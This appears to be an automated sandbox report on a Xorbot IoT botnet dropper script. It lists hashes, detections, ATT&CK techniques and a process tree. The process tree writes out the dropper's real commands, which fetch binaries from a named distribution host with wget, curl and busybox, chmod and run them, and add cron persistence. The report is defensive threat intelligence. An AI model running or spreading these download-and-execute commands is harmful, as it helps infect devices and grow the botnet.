xorbot | a2f3a210e7cddc93c3b7d98d9655baec10c4024093dc7aadc464777ac2dee97e

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/02/2025, 18:22

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General

Target

bins.sh
Size

10KB
MD5

ae052a19c0e0a091edd6a9cf7b04fbcf
SHA1

8d4bd6f14dbfc3325ecf82587df87c0188a45198
SHA256

a2f3a210e7cddc93c3b7d98d9655baec10c4024093dc7aadc464777ac2dee97e
SHA512

ee1cf26afa600de9d0eb79365706310bd1ee5b61a0bfa368929d333f502d806423edabebb4254bbc1f31887b4f1761c95b07c8a4c8331d4e124e257d848559e3
SSDEEP

192:x+5QqNPJAyA+AdAgAYA4PAyA+AdAgAYAqoL:x+XNPJdpmnfTPdpmnf0

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-7.dat	family_xorbot
behavioral2/files/fstream-8.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2060) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
683	chmod
814	chmod
830	chmod
841	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	684	bins.sh
/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73	815	bins.sh
/tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8	832	bins.sh
/tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8	842	bins.sh

Renames itself 1 IoCs

pid	Process
685	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Ze95eL	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/788/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1104/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1116/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/13/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/306/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/727/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/769/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/796/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/970/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/971/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1034/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/297/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/715/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/731/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/801/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/991/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/993/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1040/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/893/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/736/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/750/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/777/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/907/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/992/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1062/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1081/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/8/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/637/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/720/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/782/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/897/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/913/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/961/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1031/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/714/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/865/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/930/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/934/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1019/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1057/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1059/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1100/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/105/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/765/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/805/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/936/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1003/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1069/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1113/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1117/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/7/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/20/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/29/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/41/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/579/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/868/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/976/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/1094/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/10/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/834/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/902/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/954/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
File opened for reading	/proc/960/cmdline	v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb

System Network Configuration Discovery 1 TTPs 13 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
840	busybox
845	wget
679	busybox
710	wget
792	curl
796	busybox
821	curl
826	busybox
836	wget
838	curl
652	wget
666	curl
819	wget

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	wget
File opened for modification	/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	curl
File opened for modification	/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb	busybox
File opened for modification	/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73	busybox
File opened for modification	/tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8	busybox
File opened for modification	/tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:652
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:666
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod 777 v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  ./v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:684
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:686
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:687
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:690
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:691
- /bin/rm
  rm v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb
  2⤵
  PID:706
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - System Network Configuration Discovery
  PID:710
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  PID:792
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:796
- /bin/chmod
  chmod 777 tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  ./tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  PID:815
- /bin/rm
  rm tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73
  2⤵
  PID:817
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  - System Network Configuration Discovery
  PID:819
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  - System Network Configuration Discovery
  PID:821
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:826
- /bin/chmod
  chmod 777 HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  ./HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  PID:832
- /bin/rm
  rm HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8
  2⤵
  PID:835
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  2⤵
  - System Network Configuration Discovery
  PID:836
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  PID:838
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:840
- /bin/chmod
  chmod 777 yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  2⤵
  - File and Directory Permissions Modification
  PID:841
- /tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  ./yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  2⤵
  PID:842
- /bin/rm
  rm yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8
  2⤵
  PID:844
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/A1I5LTjUrR72xQIhpWB1c23EaLpxnYghO2
  2⤵
  - System Network Configuration Discovery
  PID:845

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/HgiWiJcazuHxCVJKx3Msm68Aqsk5L4DlL8

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/tZq2pUucDTcfj0bOnDclqm8m0Nt4dvZC73

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/v93a7Hy7m9Q3jPGN7Qi65nIFDUlDC9GoLb

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/yGesduheCLIFGIBBB3ZqExQRBTt4uv96E8

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/var/spool/cron/crontabs/tmp.Ze95eL

Filesize
210B

MD5
a2e1895c6902e9d7045b5745e05e1490

SHA1
c81309bdb2f21b184dd92948f7a75e44097dc165

SHA256
68f80b6ff280b7716e386513ada337c3a482e98da123201225baf6e449bb5c80

SHA512
88bfeddc5ede0e4b3b3d733a4bf2f2d3979b76954106df6068e8b0dfe6bcca9ff83293a33924f21ae2cd96b258173e76d6479a3e29fa141259404a0cb5079acf

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads